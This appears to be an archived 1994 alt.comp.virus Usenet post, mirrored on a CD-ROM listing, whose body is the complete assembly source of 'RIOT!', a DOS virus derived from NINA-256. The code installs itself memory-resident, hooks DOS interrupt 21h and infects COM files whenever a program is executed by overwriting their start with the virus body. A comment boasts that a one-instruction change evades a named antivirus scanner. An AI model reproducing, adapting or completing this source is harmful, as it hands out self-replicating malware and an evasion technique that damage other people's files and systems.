home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / RIOT.ASM < prev    next >
Assembly Source File  |  1994-11-12  |  7KB  |  187 lines

  1. From netcom.com!ix.netcom.com!netnews Sat Nov 12 17:11:15 1994
  2. Xref: netcom.com alt.comp.virus:200
  3. Path: netcom.com!ix.netcom.com!netnews
  4. From: Zeppelin@ix.netcom.com (Mr. G)
  5. Newsgroups: alt.comp.virus
  6. Subject: Re:Riot
  7. Date: 12 Nov 1994 03:37:30 GMT
  8. Organization: Netcom
  9. Lines: 171
  10. Distribution: world
  11. Message-ID: <3a1d9q$ma6@ixnews1.ix.netcom.com>
  12. References: <3a0s7b$r6i$1@mhadf.production.compuserve.com> <3a1aj7$l5e@ixnews1.ix.netcom.com> <3a1cri$m31@ixnews1.ix.netcom.com>
  13. NNTP-Posting-Host: ix-ir4-21.ix.netcom.com
  14.  
  15. ;  RIOT! - Revolution In Our Time
  16.  
  17. model tiny
  18. code
  19. org 100h
  20. start:
  21. ;        push    ax            ; Original push "ax",
  22.                 PUSH    DX            ; But push dx instead,
  23.                         ; and S&S FindViru can't
  24.                         ; find it as NINA-256 :)
  25.  
  26.                 mov     ax,9753h                ; installation check
  27.                 int     21h
  28.                 mov     ax,ds
  29.                 dec     ax
  30.                 mov     ds,ax                   ; ds->program MCB
  31.                 mov     ax,ds:[3]               ; get size word
  32.                 push    bx
  33.                 push    es
  34.                 sub     ax,40h                  ; reserve 40h paragraphs
  35.                 mov     bx,ax
  36.                 mov     ah,4Ah                  ; Shrink memory 
  37. allocation
  38.                 int     21h
  39.  
  40.                 mov     ah,48h                  ; Allocate 3Fh 
  41. paragraphs
  42.                 mov     bx,3Fh                  ; for the virus
  43.                 int     21h
  44.  
  45.                 mov     es,ax                   ; copy virus to high
  46.                 xor     di,di                   ; memory
  47.                 mov     si,offset start + 10h   ; start at MCB:110h
  48.                 mov     cx,100h                 ; (same as PSP:100h)
  49.                 rep     movsb
  50.                 sub     ax,10h                  ; adjust offset as if it
  51.                 push    ax                      ; originated at 100h
  52.                 mov     ax,offset highentry
  53.                 push    ax
  54.                 retf
  55.  
  56. highentry:
  57.                 mov     byte ptr cs:[0F2h],0AAh ; change MCB's owner so 
  58. the
  59.                                                 ; memory isn't freed 
  60. when the
  61.                                                 ; program terminates
  62.                 mov     ax,3521h                ; get int 21h vector
  63.                 int     21h
  64.  
  65.                 mov     word ptr cs:oldint21,bx ; save it
  66.                 mov     word ptr cs:oldint21+2,es
  67.                 push    es
  68.                 pop     ds
  69.                 mov     dx,bx
  70.                 mov     ax,2591h                ; redirect int 91h to 
  71. int 21h
  72.                 int     21h
  73.  
  74.                 push    cs
  75.                 pop     ds
  76.                 mov     dx,offset int21
  77.                 mov     al,21h                  ; set int 21h to virus 
  78. vector
  79.                 int     21h
  80.  
  81.                 pop     ds                      ; ds->original program 
  82. PSP
  83.                 pop     bx
  84.                 push    ds
  85.                 pop     es
  86.  
  87. ENDFILE         dw      100h            ; Size of infected COM 
  88. file
  89.  
  90. return_COM:
  91.                 mov     di,100h                 ; restore original
  92.                 mov     si,endfile              ; file
  93.                 add     si,di                   ; adjust for COM 
  94. starting
  95.                 mov     cx,100h                 ; offset
  96.                 rep     movsb
  97.                 pop     ax
  98.                 push    ds                      ; jmp back to original
  99.                 mov     bp,100h                 ; file (PSP:100)
  100.                 push    bp
  101.                 retf
  102. exit_install:
  103.                 pop     ax                      ; pop CS:IP and flags in
  104.                 pop     ax                      ; order to balance the
  105.                 pop     ax                      ; stack and then exit 
  106. the
  107.                 jmp     short return_COM        ; infected COM file
  108. int21:
  109.                 cmp     ax,9753h                ; installation check?
  110.                 je      exit_install
  111.                 cmp     ax,4B00h                ; execute?
  112.                 jne     exitint21               ; nope, quit
  113.                 push    ax                      ; save registers
  114.                 push    bx
  115.                 push    cx
  116.                 push    dx
  117.                 push    ds
  118.                 call    infect
  119.                 pop     ds                      ; restore registers
  120.                 pop     dx
  121.                 pop     cx
  122.                 pop     bx
  123.                 pop     ax
  124. exitint21:
  125.                 db      0eah ; jmp far ptr
  126. oldint21        dd      ?
  127.  
  128. infect:
  129.                 mov     ax,3D02h                ; open file read/write
  130.                 int     91h
  131.                 jc      exit_infect
  132.                 mov     bx,ax
  133.                 mov     cx,100h
  134.                 push    cs
  135.                 pop     ds
  136.                 mov     ah,3Fh                  ; Read first 100h bytes
  137.                 mov     dx,offset endvirus
  138.                 int     91h
  139.                 mov     ax,word ptr endvirus
  140.                 cmp     ax,'MZ'                 ; exit if EXE
  141.                 je      close_exit_infect
  142.                 cmp     ax,'ZM'                 ; exit if EXE
  143.                 je      close_exit_infect
  144.                 cmp     word ptr endvirus+2,9753h ; exit if already
  145.                 je      close_exit_infect       ; infected
  146.                 mov     al,2                    ; go to end of file
  147.                 call    move_file_pointer
  148.                 cmp     ax,0FEB0h               ; exit if too large
  149.                 ja      close_exit_infect
  150.                 cmp     ax,1F4h                 ; or too small for
  151.                 jb      close_exit_infect       ; infection
  152.                 mov     endfile,ax              ; save file size
  153.                 call    write
  154.                 mov     al,0                    ; go to start of file
  155.                 call    move_file_pointer
  156.                 mov     dx,100h                 ; write virus
  157.                 call    write
  158. close_exit_infect:
  159.                 mov     ah,3Eh                  ; Close file
  160.                 int     91h
  161. exit_infect:
  162.                 retn
  163.  
  164. move_file_pointer:
  165.                 push    dx
  166.                 xor     cx,cx
  167.                 xor     dx,dx
  168.                 mov     ah,42h
  169.                 int     91h
  170.                 pop     dx
  171.                 retn
  172.  
  173. write:
  174.                 mov     ah,40h     
  175.                 mov     cx,100h
  176.                 int     91h
  177.                 retn
  178.  
  179.                 db    ' RIOT!' ; Revolution In Our Time!
  180. endvirus:                                                   
  181.                 int     20h      ; original COM file
  182.         end     start
  183.  
  184.  
  185.  
  186.  
  187.